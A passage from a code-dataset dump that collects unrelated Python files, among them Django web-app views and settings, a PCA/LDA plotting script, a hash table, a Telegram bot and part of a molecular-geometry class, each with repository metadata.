path(\"add_staff\",views.add_staff,name='add_staff'),\n path(\"delete_item///\",views.delete_item,name='delete_item'),\n path(\"edit_cars//\",views.edit_cars,name='edit_cars'),\n path(\"edit_rent//\",views.edit_rent,name='edit_rent'),\n]\n","sub_path":"RENTaCAR/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"630533687","text":"from django.shortcuts import render, redirect\nfrom django.http import JsonResponse\nfrom django.contrib.auth import authenticate, login, logout, get_user\nfrom django.contrib.auth.models import User, AnonymousUser\nfrom .forms import *\nfrom .models import *\nfrom .vision_api import upload as api_upload, get_url, get_blob_metadata\nfrom django.conf import settings\n\n\ndef validate_username(request):\n username = request.GET[\"username\"]\n data = {\n \"is_taken\": User.objects.filter(username__iexact=username).exists()\n }\n return JsonResponse(data)\n\n\ndef validate_email(request):\n email = request.GET['email']\n email.replace('%40', '@')\n data = {\n \"is_taken\": User.objects.filter(email__iexact=email).exists()\n }\n return JsonResponse(data)\n\n\ndef test_view(request):\n context = {}\n if request.method == 'POST':\n form = UploadForm(request.POST, request.FILES)\n import uuid\n if form.is_valid():\n context['original_file_name'] = request.FILES['fileInput'].name\n context['file_type'] = request.FILES['fileInput'].name.split('.')[-1]\n context['uploaded_file_name'] = str(uuid.uuid4()) + '.' + context['file_type']\n context['username'] = get_user(request)\n context['input'] = UploadForm()\n return render(request, 'test.html', context=context)\n\n\ndef view_img(request, image_id):\n url = ''\n if request.method == 'GET':\n images = Image.objects.filter(user_id=request.user, image_name=image_id)\n for image in images:\n if image.url != '':\n url = image.url\n else:\n url = get_url(str(image.image_name))\n return render(request, 'view.html', context={'url': url})\n\n\ndef load_home(request):\n\n def get_urls(images):\n _urls = {}\n for _image in images:\n _name = str(_image.image_name)\n if _image.url == '':\n _image.url = get_url(_name)\n _image.save()\n if _image.url != '':\n _urls[_name] = _image.url\n return _urls\n\n search = request.GET['search'].split(' ') if 'search' in request.GET else None\n user_image = Image.objects.filter(user_id=request.user)\n show = []\n for image in user_image:\n name = str(image.image_name)\n if search is not None:\n if image.tags == '':\n image.tags = get_blob_metadata(name)\n image.save()\n for s in search:\n if s in image.tags.split(','):\n show.append(image)\n else:\n show.append(image)\n return get_urls(show)\n\n\ndef home_view(request):\n context = {}\n if not request.user.is_authenticated:\n return redirect(\"/login/\")\n if request.method == 'POST':\n form = UploadForm(request.POST, request.FILES)\n if form.is_valid():\n file_name = api_upload(request, settings.__getattr__(\"FMG\"))\n Image(user_id=request.user, image_name=file_name).save()\n else:\n print('Form not valid')\n context['urls'] = load_home(request)\n return render(request, 'home.html', context=context)\n\n\ndef login_view(request):\n context = {\"form\": LogInForm()}\n if request.method == 'GET':\n if type(get_user(request)) is not AnonymousUser:\n return redirect(\"home\")\n return render(request, 'login.html', context=context)\n else:\n username = request.POST['usernameInput']\n password = request.POST['passInput']\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user, backend=False)\n return redirect(\"home\")\n else:\n return redirect(\"/login/\")\n\n\ndef sign_in_view(request):\n context = {\"form\": SignInForm()}\n if request.method == \"GET\":\n return render(request, 'sign-in.html', context)\n else:\n password = request.POST['passInput']\n username = request.POST['usernameInput']\n email = request.POST['mailInput']\n\n if username is not None:\n if not User.objects.filter(username=username).exists():\n user_new = User.objects.create_user(username=username, password=password, email=email)\n user_new.save()\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user, backend=False)\n return redirect(\"home\")\n else:\n pass\n return render(request, 'sign-in.html', context)\n\n\ndef user_logout(request):\n logout(request)\n return redirect(\"home\")\n\n\ndef upload(request):\n return render(request, 'upload.html', {'form': UploadForm()})\n","sub_path":"ProgettoCloud/Main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"537985766","text":"# -*- coding: utf-8 -*-\n\"\"\"\n------------------------------------------------- \nFile Name: PCA_LDA \nDescription : \nAuthor : ml \ndate: 2018/7/27\n------------------------------------------------- \nChange Activity: \n\t\t\t\t2018/7/27:\n-------------------------------------------------\n\"\"\"\n__author__ = 'ml'\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn import datasets\n\n#加载数据集\niris = datasets.load_iris()\nX = iris.data\ny = iris.target\ntarget_names = iris.target_names\npca = PCA(n_components=2)\nX_r = pca.fit(X).transform(X)\nlda = LinearDiscriminantAnalysis(n_components=2)\nX_r2 = lda.fit(X,y).transform(X)\n#绘图PCA\nplt.figure()\ncolors = ['navy','turquoise','darkorange']\nlw = 2\nfor color,i,target_names in zip(colors,[0,1,2],target_names):\n plt.scatter(X_r[y == i,0],X_r[y == i,1],color=color,alpha=0.8,lw=lw,label=target_names)\nplt.legend(loc='best',shadow=False,scatterpoints=1)\nplt.title('PCA of IRIS data')\n#绘制LDA\nplt.figure()\ncolors = ['navy','turquoise','darkorange']\nlw = 2\nfor color,i,target_names in zip(colors,[0,1,2],target_names):\n plt.scatter(X_r2[y == i,0],X_r2[y == i,1],color=color,alpha=0.8,lw=lw,label=target_names)\nplt.legend(loc='best',shadow=False,scatterpoints=1)\nplt.title('PCA of IRIS data')\n\nplt.show()","sub_path":"ml_algorithm/PCA_LDA.py","file_name":"PCA_LDA.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"596871766","text":"print('-------------------------------------------------------')\ntry:\n file1 = input('Enter file name: ') # input file name to be worked on\n opfile = open(file1) # opening the file\n\n for line in opfile:\n line = opfile.read() # reading each line in the file\n line = line.upper() # converting all the characters in the file to uppercase\n print(line)\nexcept:\n print('File ', file1, 'does not exist')\n","sub_path":"src/chapter7/exercise1.py","file_name":"exercise1.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"319674278","text":"import os\n\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\nDEBUG_PROPAGATE_EXCEPTIONS = DEBUG\n \nDATABASE_ENGINE = 'sqlite3'\nDATABASE_NAME = ':memory:'\n\nTIME_ZONE = 'UTC'\n \nSITE_ID = 1\n \nSECRET_KEY = '00000000000000000000000000000000000000000000000000'\n\nROOT_URLCONF = 'example.urls'\n\nTEMPLATE_DIRS = (\n os.path.join(os.path.abspath(os.path.dirname(__file__)), 'templates')\n)\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.admin',\n 'usergroups',\n 'example.groups',\n)\n","sub_path":"example/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"136311529","text":"from django import template\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core.handlers.wsgi import WSGIRequest\nfrom django.core.urlresolvers import reverse\n\nfrom django_tables2.tables import Table\nfrom suit.templatetags.suit_menu import Menu\n\nfrom motius_django.admin import motius_site\nfrom motius_frontend.forms import ContactForm\n\nregister = template.Library()\n\n\n@register.assignment_tag(takes_context=True)\ndef get_menu_motius(context, request):\n \"\"\"\n :type request: WSGIRequest\n \"\"\"\n if not isinstance(request, WSGIRequest):\n return None\n\n # Try to get app list\n template_response = motius_site.index(request)\n try:\n app_list = template_response.context_data['app_list']\n except Exception:\n return\n\n return Menu(context, request, app_list).get_app_list()\n\n\n@register.inclusion_tag('motius_frontend/partials/contact.html', takes_context=True)\ndef contact_form(context):\n request = context['request']\n initial = {\n 'next': request.get_full_path(),\n 'name': request.user.get_full_name() if request.user.is_authenticated() else '',\n 'email': request.user.email if request.user.is_authenticated() else '',\n 'phone': request.user.client_profile.phone if hasattr(request.user, 'client_profile') else '',\n }\n\n if 'contact' in request.POST:\n form = ContactForm(request.POST)\n else:\n form = ContactForm(initial=initial)\n\n return {'form': form}\n\n\n@register.filter\ndef verbose_name(object):\n \"\"\"\n Returns verbose names of objects\n\n :param object:\n :return:\n \"\"\"\n if isinstance(object, Table):\n return object._meta.model._meta.verbose_name\n return object._meta.verbose_name\n\n\n@register.filter\ndef admin_url(object):\n content_type = ContentType \\\n .objects \\\n .get_for_model(object.__class__)\n return reverse(\"admin:%s_%s_change\" % (\n content_type.app_label,\n content_type.model),\n args=(object.id,))\n\n@register.filter\ndef content_type_id(name):\n return ContentType.objects.get(model=name).pk","sub_path":"motius_frontend/templatetags/motius.py","file_name":"motius.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"397289571","text":"from django.shortcuts import render, redirect\nfrom django.template.loader import render_to_string\nfrom django.views import View\nfrom django.views.generic import TemplateView\nfrom django.utils.encoding import force_text\nfrom account.models import User\nfrom .forms import SignupForm\nfrom django.urls import reverse\nfrom django.conf import settings\nfrom django.template import Template, Context\nfrom django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode\nfrom django.utils.encoding import force_bytes\nfrom django.core.mail import EmailMultiAlternatives\nfrom .tokens import account_activation_token\n\n\nclass SignUpView(View):\n template_name = 'signup.html'\n\n def get(self, request, *args, **kwargs):\n if request.user.is_authenticated:\n return redirect(reverse('home'))\n form = SignupForm()\n return render(request, self.template_name, {'form': form})\n\n def post(self, request, *args, **kwargs):\n form = SignupForm(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n user.is_active = False\n user.email_confirmation = False\n user.save()\n host = request.get_host()\n send_register_email(user, host)\n return redirect('signup_confirmation')\n return render(request, self.template_name, {'form': form})\n\n\nclass SignUpConfirmationView(View):\n template_name = 'signup_confirmation.html'\n\n def get(self, request, *args, **kwargs):\n return render(request, self.template_name)\n\n\nclass InvalidActivation(TemplateView):\n template_name = 'invaid_activation.html'\n\n\nclass SignUpActivationDone(TemplateView):\n template_name = 'signup_confirmation_done.html'\n\n\ndef send_register_email(user, host):\n try:\n subject, from_email, to = 'Email Confirmation', settings.EMAIL_HOST_USER, [user.email]\n html = render_to_string('signup_confirmation_email.html',\n {\n 'user': user,\n 'domain': host,\n 'uid': urlsafe_base64_encode(force_bytes(user.email)),\n 'token': account_activation_token.make_token(user)\n })\n content = Template(html).render(Context({}))\n msg = EmailMultiAlternatives(subject, content, from_email, to)\n msg.attach_alternative(content, \"text/html\")\n msg.send()\n except Exception as e:\n pass\n\n\ndef activate(request, uidb64, token):\n try:\n u_email = force_text(urlsafe_base64_decode(uidb64))\n user = User.objects.get(email=u_email)\n except(TypeError, ValueError, OverflowError, User.DoesNotExist):\n user = None\n if user is not None and account_activation_token.check_token(user, token):\n user.is_active = True\n user.save()\n return redirect('signup_activation_done')\n else:\n return redirect(reverse('invalid_activate'))\n","sub_path":"account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"76862806","text":"class HashTable:\n def __init__(self, length):\n self.table = [None] * length\n self.n = 0\n \n def first_hash(self, key):\n m = len(self.table)\n return key % m\n \n def second_hash(self, home, i):\n \"\"\"Quadratic probing eliminates primary clustering by\n increasing the distance between each probe in the\n sequence. In practice, quadratic probin typically\n reduces the number of collisions but introduces\n the problem of Secondary clustering \n \"\"\"\n c = 3\n m = len(self.table)\n slot = (home + i**2) % m\n return slot\n \n def search(self, key):\n i = 0\n #Look for an empty slot from where key was intially maped\n home = self.first_hash(key)\n position = home\n while self.table[position] != None:\n if self.table[position] == key:\n return position\n i += 1\n position = self.second_hash(home, i)\n if not self.table[position]:\n return position\n \n return \"Slots are full\"\n \n def insert(self, key):\n slot = self.search(key)\n if self.table[slot] != None:\n return slot\n self.table[slot] = key\n self.n += 1\n return self.table\n \n def delete(self, key):\n slot = self.search(key)\n if self.table[slot] == key:\n self.table[slot] = -1\n return self.table \n return \"Not found\"\n \n def searchKey(self, key):\n slot = self.search(key)\n if self.table[slot] != key:\n return \"Not found\"\n return \"found\"\n \n\n# t = HashTable(13)\n# t.insert(765)\n# t.insert(431)\n# t.insert(96)\n# t.insert(142)\n# t.insert(579)\n# t.insert(226)\n# t.insert(903)\n# t.insert(388)\n\n\n\n","sub_path":"hashTable/quadratic_hashing/quadratic_probing.py","file_name":"quadratic_probing.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"78305373","text":"import ConfigParser\n\nclass profile_handler:\n\tpass\n\n\nconf = ConfigParser.ConfigParser()\nconf.read(\"./profiles.cfg\")\n\n\n#show all saved profiles from profiles.cfg\ndef profile_get_sections():\n\tfor sec in conf.sections():\n\t\tprint('\\033[93m' + sec + '\\033[0m' + \"\\n\\t\" + '\\033[95m' + conf.get(sec,\"description\")+\"\\n\\033[0m\")\t\t#'\\033[93m \\033[95m \\033[0m' are for coloring the text\n\n\n\n#add a new section to cfg fle named: \"profile_\"\ndef profile_add_section(sec_name,sec_intervall,sec_frames,sec_description):\n\tconf.add_section(\"profile_\" + sec_name)\n\tconf.set(\"profile_\"+sec_name, \"intervall\" , sec_intervall)\n\tconf.set(\"profile_\"+sec_name, \"frames\" , sec_frames)\n\tconf.set(\"profile_\"+sec_name, \"description\" , sec_description)\n\twith open(\"./profiles.cfg\",\"wb\") as a:\n\t\tconf.write(a)\n\n\ndef profile_delete_section(sec_name):\n\tif conf.has_section(sec_name):\n\t\tconf.remove_section(sec_name)\n\t\twith open(\"./profiles.cfg\",\"wb\") as a:\n\t\t\tconf.write(a)\n\t\ta.close()\n\telse:\n\t\traise Exception(\"type an existing profile name: \")\n\n\n\n\n","sub_path":"profile_handler.py","file_name":"profile_handler.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"237108549","text":"import csv\nimport os.path\nimport xml.etree.ElementTree as ET\n\n\ndef main():\n base_path = os.path.join(os.path.dirname(__file__), 'files')\n xml_file = os.path.join(base_path, 'app7.xml')\n csv_file = os.path.join(base_path, 'import_result.csv')\n\n xml_root = ET.Element('Root')\n xml_tree = ET.ElementTree(xml_root)\n results = ET.SubElement(xml_root, 'Results')\n\n with open(csv_file) as fd:\n csv_fd = csv.reader(fd, delimiter=',')\n csv_headers = next(csv_fd)\n print(str.format('[*] csv headers: {}', csv_headers))\n\n for line in csv_fd:\n print(str.format('[*] line: {}', line))\n result = ET.SubElement(results, 'Result')\n for position, item in enumerate(line):\n tag = ET.SubElement(\n result,\n csv_headers[position]\n )\n tag.text = item\n\n xml_tree.write(\n xml_file,\n encoding='ISO-8859-1',\n xml_declaration=True,\n short_empty_elements=False,\n )\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"work/xml_processing/app6.py","file_name":"app6.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"56029222","text":"import telepot\nimport threading\nimport time\n\nimport Message\n\nclass Telegram(threading.Thread):\n def __init__(self, moana, sleepTime):\n threading.Thread.__init__(self)\n print(\"Create Telegram\")\n self.bot = None\n \n self.moana = moana\n \n self.stopFlag = False\n self.chat_id = \"\"\n \n self.messageBuffer = []\n\n self.sleepTime = sleepTime\n \n def connect(self, token):\n self.bot = telepot.Bot(token)\n self.bot.message_loop(self.requestHandle)\n \n def stop(self):\n print(\"Stop Telegram\")\n self.stopFlag = True\n \n def sendMessage(self, message):\n msg = \"\"\"\n [ {0} | {1} ]\n {2}\n \"\"\".format(message.serverName, message.time, message.content)\n \n self.bot.sendMessage(self.chat_id, msg)\n \n def requestHandle(self, msg):\n if self.chat_id == \"\":\n self.chat_id = msg['chat']['id']\n command = msg['text']\n print(\"User command: {0}\".format(command))\n\n reply = self.moana.handleTelegramRequest(command) \n self.sendMessage(reply)\n \n def setMessage(self, message):\n if self.chat_id == \"\":\n print(\"Chat_id is empty\")\n return\n msg = Message.Message()\n msg.setMessage(message.serverName, message.content)\n \n self.messageBuffer.append(msg)\n \n def run(self):\n try:\n while True:\n if self.stopFlag:\n break\n \n if self.messageBuffer:\n for msg in self.messageBuffer:\n self.sendMessage(msg)\n del self.messageBuffer[:]\n \n time.sleep(self.sleepTime)\n \n except KeyboardInterrupt:\n self.moana.stop()\n \n print(\"Telegram End\")","sub_path":"Telegram.py","file_name":"Telegram.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"176889545","text":"import tkinter as tk\r\nimport time\r\nimport random\r\nimport simpleaudio as sa\r\n\r\nScr = 0\r\nClickBool = False\r\ntimeStr = random.randint(100,5500)\r\nStar = False\r\nChecked = False\r\n\r\nwin = sa.WaveObject.from_wave_file(\"Click.wav\")\r\nlose = sa.WaveObject.from_wave_file(\"Death.wav\")\r\n\r\ndef Next():\r\n global Star\r\n global Checked\r\n global Scr\r\n if Checked == False:\r\n if Scr > 0:\r\n Scr -= 1\r\n lose.play()\r\n Scores.configure(text = \"Scores: {}\".format(Scr))\r\n buttonClick.configure(bg = \"white\",activebackground = \"white\",text = \"Wait..\")\r\n Star = False\r\n Checked = False\r\n buttonClick.after(random.randint(100,5500), CLICK)\r\n\r\ndef CLICK():\r\n global Star\r\n buttonClick.configure(bg = \"red\",activebackground = \"red\",text = \"Click!\")\r\n Star = True\r\n buttonClick.after(400, Next)\r\n\r\ndef Clicked():\r\n global Scr\r\n global Checked\r\n if Star == True:\r\n Checked = True\r\n Scr += 1\r\n win.play()\r\n Scores.configure(text = \"Scores: {}\".format(Scr))\r\n else:\r\n if Scr > 0:\r\n Scr -= 1\r\n lose.play()\r\n Scores.configure(text = \"Scores: {}\".format(Scr))\r\n\r\nroot = tk.Tk()\r\nroot.geometry(\"200x200+800+350\")\r\nroot.resizable(False,False)\r\nroot.title(\"Time Clicker\")\r\nroot.iconbitmap('mar.ico')\r\n\r\nframe1 = tk.Frame(root,bd = 20)\r\nframe2 = tk.Frame(root,bd = 20)\r\nframe1.pack(side='bottom')\r\nframe2.pack(side='bottom')\r\n\r\nbuttonClick = tk.Button(frame1,text = \"Wait..\", bg = \"white\",width=17,height=5,command = Clicked)\r\nbuttonClick.pack()\r\n\r\nScores = tk.Label(frame2,text = \"Scores: {}\".format(Scr))\r\nScores.pack()\r\n\r\nbuttonClick.after(timeStr,CLICK)\r\n\r\nroot.mainloop()\r\n","sub_path":"Click_Time.py","file_name":"Click_Time.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"361499842","text":"N, T = map(int, input().split())\nAB= []\nfor _ in range(N):\n a, b = map(int, input().split())\n AB.append((a, b))\nAB.sort(key=lambda x: x[1], reverse=True)\nAB.sort()\n# print(AB)\nA = [x[0] for x in AB]\nB = [x[1] for x in AB]\n\ndp = [[0] * (T + 3) for _ in range(N + 3)]\ndp[0][0] = 0\nfor i in range(N):\n for j in range(T):\n if A[i] <= j:\n dp[i + 1][j] = max(dp[i][j], dp[i][j - A[i]] + B[i])\n else:\n dp[i + 1][j] = max(dp[i + 1][j], dp[i][j])\n\n# print(dp)\nans = 0\nfor i in range(N):\n # print(dp[i][T - 1])\n ans = max(ans, dp[i][T - 1] + B[i])\nprint(ans)","sub_path":"Python_codes/p02863/s991290428.py","file_name":"s991290428.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"248734525","text":"from time import sleep\n\nfrom httpx import Client, TimeoutException\nfrom structlog import get_logger\n\nlog = get_logger()\n\nhttp_client = Client(timeout=30)\n\n\ndef fetch_json(url, params=None):\n for i in range(0, 5):\n try:\n response = http_client.get(url, params=params)\n if response.status_code == 200:\n return response.json()\n else:\n raise ValueError(\n f\"{response.status_code} error when calling {url}\"\n )\n except (TimeoutException) as e:\n log.exception(\n f\"Timed out when calling {url} with params {params}\", error=e\n )\n sleep(2 ** i)\n except Exception as e:\n log.exception(\n f\"Error when calling {url} with params {params}\", error=e\n )\n\n\ndef clean(input_string):\n return input_string.strip().lower().replace(\",\", \"\")\n\n\ndef clean_csv(input_string):\n return [clean(y) for y in str(input_string).split(\", \") if y != \"\"]\n","sub_path":"pipeline/src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"518723475","text":"import json\nimport logging\n\nimport numpy as np\nimport qcelemental as qcel\n\nfrom . import frag\nfrom .exceptions import AlgError, OptError\nfrom . import v3d\nfrom .addIntcos import connectivityFromDistances, addCartesianIntcos\n\n\nclass Molsys(object):\n \"\"\" The molecular system consisting of a collection of fragments\n\n Parameters\n ----------\n fragments : list(Frag)\n fb_fragments : list\n NYI fixed body fragments\n intcos : list(Simple), optional\n\n \"\"\"\n def __init__(self, fragments, fb_fragments=None, intcos=None, multiplicity=1):\n # ordinary fragments with internal structure\n self.logger = logging.getLogger(__name__)\n self._fragments = []\n if fragments:\n self._fragments = fragments\n # fixed body fragments defined by Euler/rotation angles\n self._fb_fragments = []\n if fb_fragments:\n self._fb_fragments = fb_fragments\n self._multiplicity = multiplicity\n\n def __str__(self):\n s = ''\n for iF, F in enumerate(self._fragments):\n s += \"\\n\\tFragment %d\\n\" % (iF + 1)\n s += F.__str__()\n for iB, B in enumerate(self._fb_fragments):\n s += \"\\tFixed body Fragment %d\\n\" % (iB + 1)\n s += B.__str__()\n return s\n\n @classmethod\n def fromPsi4Molecule(cls, mol):\n \"\"\" Creates a optking molecular system from psi4 molsys\n\n Parameters\n ----------\n mol: object\n psi4 mol\n\n Returns\n -------\n cls :\n optking molecular system: list of fragments\n \"\"\"\n logger = logging.getLogger(__name__)\n logger.info(\"\\tGenerating molecular system for optimization from PSI4.\")\n\n NF = mol.nfragments()\n logger.info(\"\\t%d fragments in PSI4 molecule object.\" % NF)\n frags = []\n\n for iF in range(NF):\n fragMol = mol.extract_subsets(iF + 1)\n\n fragNatom = fragMol.natom()\n logger.info(\"\\tCreating fragment %d with %d atoms\" % (iF + 1, fragNatom))\n\n fragGeom = np.zeros((fragNatom, 3), float)\n fragGeom[:] = fragMol.geometry()\n\n fragZ = []\n for i in range(fragNatom):\n fragZ.append(int(fragMol.Z(i)))\n\n fragMasses = []\n for i in range(fragNatom):\n fragMasses.append(fragMol.mass(i))\n\n frags.append(frag.Frag(fragZ, fragGeom, fragMasses))\n\n m = mol.multiplicity()\n return cls(frags, multiplicity=m)\n\n @classmethod\n def from_JSON_molecule(cls, JSON_string):\n \"\"\" Creates optking molecular system from JSON input.\n\n Parameters\n ----------\n JSON_string : string\n Takes in a string of the molecule key from the QC JSON schema\n see http://molssi-qc-schema.readthedocs.io/en/latest/auto_topology.html\n\n Returns\n -------\n cls:\n molsys cls consists of list of Frags\n \"\"\"\n\n logger = logging.getLogger(__name__)\n logger.info(\"\\tGenerating molecular system for optimization from QC Schema.\\n\")\n molecule = json.loads(JSON_string)\n\n geom = np.asarray(molecule['geometry'])\n geom = geom.reshape(-1, 3)\n\n Z_list = [qcel.periodictable.to_Z(atom) for atom in molecule['symbols']]\n\n masses_list = molecule.get('masses')\n if masses_list is None:\n masses_list = [qcel.periodictable.to_mass(atom) for atom in molecule['symbols']]\n\n frags = []\n if 'fragments' in molecule:\n for iF in range(len(molecule['fragments'])):\n frag_geom = geom[iF[0]:iF[-1] + 1]\n frag_masses = masses_list[iF[0]:(iF[-1] + 1)]\n frag_Z_list = Z_list[iF[0]:(iF[-1] + 1)]\n frags.append(frag.Frag(frag_Z_list, frag_geom, frag_masses))\n else:\n frags.append(frag.Frag(Z_list, geom, masses_list))\n\n return cls(frags)\n\n @property\n def Natom(self):\n return sum(F.Natom for F in self._fragments)\n\n @property\n def multiplicity(self):\n return self._multiplicity\n\n @property\n def Nfragments(self):\n return len(self._fragments) + len(self._fb_fragments)\n\n # Return overall index of first atom in fragment, beginning 0,1,...\n def frag_1st_atom(self, iF):\n if iF >= len(self._fragments):\n return ValueError()\n start = 0\n for i in range(0, iF):\n start += self._fragments[i].Natom\n return start\n\n def frag_atom_range(self, iF):\n start = self.frag_1st_atom(iF)\n return range(start, start + self._fragments[iF].Natom)\n\n # accepts absolute atom index, returns fragment index\n def atom2frag_index(self, atom_index):\n for iF, F in enumerate(self._fragments):\n if atom_index in self.frag_atom_range(iF):\n return iF\n raise OptError(\"atom2frag_index: atom_index impossibly large\")\n\n # Given a list of atoms, return all the fragments to which they belong\n def atomList2uniqueFragList(self, atomList):\n fragList = []\n for a in atomList:\n f = self.atom2frag_index(a)\n if f not in fragList:\n fragList.append(f)\n return fragList\n\n @property\n def geom(self):\n \"\"\"cartesian geometry [a0]\"\"\"\n geom = np.zeros((self.Natom, 3), float)\n for iF, F in enumerate(self._fragments):\n row = self.frag_1st_atom(iF)\n geom[row:(row + F.Natom), :] = F.geom\n return geom\n\n @geom.setter\n def geom(self, newgeom):\n \"\"\" setter for geometry\"\"\"\n for iF, F in enumerate(self._fragments):\n row = self.frag_1st_atom(iF)\n F.geom[:] = newgeom[row:(row + F.Natom), :]\n\n @property\n def masses(self):\n m = np.zeros(self.Natom, float)\n for iF, F in enumerate(self._fragments):\n start = self.frag_1st_atom(iF)\n m[start:(start + F.Natom)] = F.masses\n return m\n\n @property\n def Z(self):\n z = [0 for i in range(self.Natom)]\n for iF, F in enumerate(self._fragments):\n first = self.frag_1st_atom(iF)\n z[first:(first + F.Natom)] = F.Z\n return z\n\n @property\n def intcos(self):\n _intcos = []\n for F in self._fragments:\n _intcos += F.intcos\n return _intcos\n\n def frag_1st_intco(self, iF):\n if iF >= len(self._fragments):\n return ValueError()\n start = 0\n for i in range(0, iF):\n start += len(self._fragments[i]._intcos)\n return start\n\n def printIntcos(self):\n for iF, F in enumerate(self._fragments):\n self.logger.info(\"Fragment %d\\n\" % (iF + 1))\n F.printIntcos()\n return\n\n def addIntcosFromConnectivity(self, C=None):\n for F in self._fragments:\n if C is None:\n C = F.connectivityFromDistances()\n F.addIntcosFromConnectivity(C)\n\n def addCartesianIntcos(self):\n for F in self._fragments:\n addCartesianIntcos(F._intcos, F._geom)\n\n def printGeom(self):\n \"\"\"Returns a string of the geometry for logging in [a0]\"\"\"\n for iF, F in enumerate(self._fragments):\n self.logger.info(\"\\tFragment %d\\n\" % (iF + 1))\n F.printGeom()\n\n def showGeom(self):\n \"\"\"Return a string of the geometry in [A]\"\"\"\n molsys_geometry = ''\n for iF, F in enumerate(self._fragments):\n molsys_geometry += (\"\\tFragment %d\\n\" % (iF + 1))\n molsys_geometry += F.showGeom()\n return molsys_geometry\n\n @property\n def atom_symbols(self):\n symbol_list = []\n for F in self._fragments:\n frag_symbol_list = F.get_atom_symbol_list()\n for j in frag_symbol_list:\n symbol_list.append(j)\n return symbol_list\n\n def consolidateFragments(self):\n if self.Nfragments == 1:\n return\n self.logger.info(\"\\tConsolidating multiple fragments into one for optimization.\")\n consolidatedFrag = frag.Frag(self.Z, self.geom, self.masses)\n del self._fragments[:]\n self._fragments.append(consolidatedFrag)\n\n def splitFragmentsByConnectivity(self):\n \"\"\" Split any fragment not connected by bond connectivity.\"\"\"\n tempZ = np.copy(self.Z)\n tempGeom = np.copy(self.geom)\n tempMasses = np.copy(self.masses)\n\n newFragments = []\n for F in self._fragments:\n C = connectivityFromDistances(F.geom, F.Z)\n atomsToAllocate = list(reversed(range(F.Natom)))\n while atomsToAllocate:\n frag_atoms = [atomsToAllocate.pop()]\n\n more_found = True\n while more_found:\n more_found = False\n addAtoms = []\n for A in frag_atoms:\n for B in atomsToAllocate:\n if C[A, B]:\n if B not in addAtoms:\n addAtoms.append(B)\n more_found = True\n for a in addAtoms:\n frag_atoms.append(a)\n atomsToAllocate.remove(a)\n\n frag_atoms.sort()\n subNatom = len(frag_atoms)\n subZ = np.zeros(subNatom, float)\n subGeom = np.zeros((subNatom, 3), float)\n subMasses = np.zeros(subNatom, float)\n for i, I in enumerate(frag_atoms):\n subZ[i] = tempZ[I]\n subGeom[i, 0:3] = tempGeom[I, 0:3]\n subMasses[i] = tempMasses[I]\n newFragments.append(frag.Frag(subZ, subGeom, subMasses))\n\n del self._fragments[:]\n self._fragments = newFragments\n\n # Supplements a connectivity matrix to connect all fragments. Assumes the\n # definition of the fragments has ALREADY been determined before function called.\n def augmentConnectivityToSingleFragment(self, C):\n self.logger.info('\\tAugmenting connectivity matrix to join fragments.')\n fragAtoms = []\n geom = self.geom\n for iF, F in enumerate(self._fragments):\n fragAtoms.append(\n range(self.frag_1st_atom(iF),\n self.frag_1st_atom(iF) + F.Natom))\n\n # Which fragments are connected?\n nF = self.Nfragments\n self.logger.critical(str(self.Nfragments))\n if self.Nfragments == 1:\n return\n\n frag_connectivity = np.zeros((nF, nF))\n for iF in range(nF):\n frag_connectivity[iF, iF] = 1\n\n Z = self.Z\n\n scale_dist = 1.3\n all_connected = False\n while not all_connected:\n for f2 in range(nF):\n for f1 in range(f2):\n if frag_connectivity[f1][f2]:\n continue # already connected\n minVal = 1.0e12\n\n # Find closest 2 atoms between fragments.\n for f1_atom in fragAtoms[f1]:\n for f2_atom in fragAtoms[f2]:\n tval = v3d.dist(geom[f1_atom], geom[f2_atom])\n if tval < minVal:\n minVal = tval\n i = f1_atom\n j = f2_atom\n\n Rij = v3d.dist(geom[i], geom[j])\n R_i = qcel.covalentradii.get(Z[i], missing=4.0)\n 